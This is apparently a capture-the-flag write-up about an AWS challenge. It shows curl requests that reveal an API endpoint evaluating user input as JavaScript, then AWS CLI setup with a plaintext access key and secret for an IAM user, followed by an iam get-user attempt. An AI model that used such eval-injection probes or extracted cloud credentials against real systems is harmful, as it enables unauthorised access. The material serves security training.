Chi Tran (Twitter: @imspicynoodles) (Discord: iam.chi)
Material:
AWS Account is not needed for this challenge
Hacking The API
Given API url seems to reflect on what we give, giving it string gives back a string.
└─$URL='https://huk5xbypcc.execute-api.ap-southeast-2.amazonaws.com/dev/vulnerable'└─$curl"$URL?vulnerable=Welcome"# Not String{"error":"Welcome is not defined"}└─$curl"$URL?vulnerable='Welcome'"# String{"message":"Evaluated User Input","result":"Welcome"}└─$curl"$URL?vulnerable='2-1'"# String - String{"message":"Evaluated User Input","result":"2-1"}└─$curl"$URL?vulnerable=2-1"# Int - Int{"message":"Evaluated User Input","result":1}
From this few requests we see that some kind of evaluation is done with our input. My first thought was a python script, but then I tried JavaScript code and it worked.
└─$ aws configure
AWS Access Key ID [None]: AKIAX473H4JB76WRTYPI
AWS Secret Access Key [None]: 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
Default region name [None]: ap-southeast-2
Default output format [None]:
└─$ aws iam get-user
An error occurred (AccessDenied) when calling the GetUser operation: User: arn:aws:iam::543303393859:user/secret-user is not authorized to perform: iam:GetUser on resource: user secret-user because no identity-based policy allows the iam:GetUser action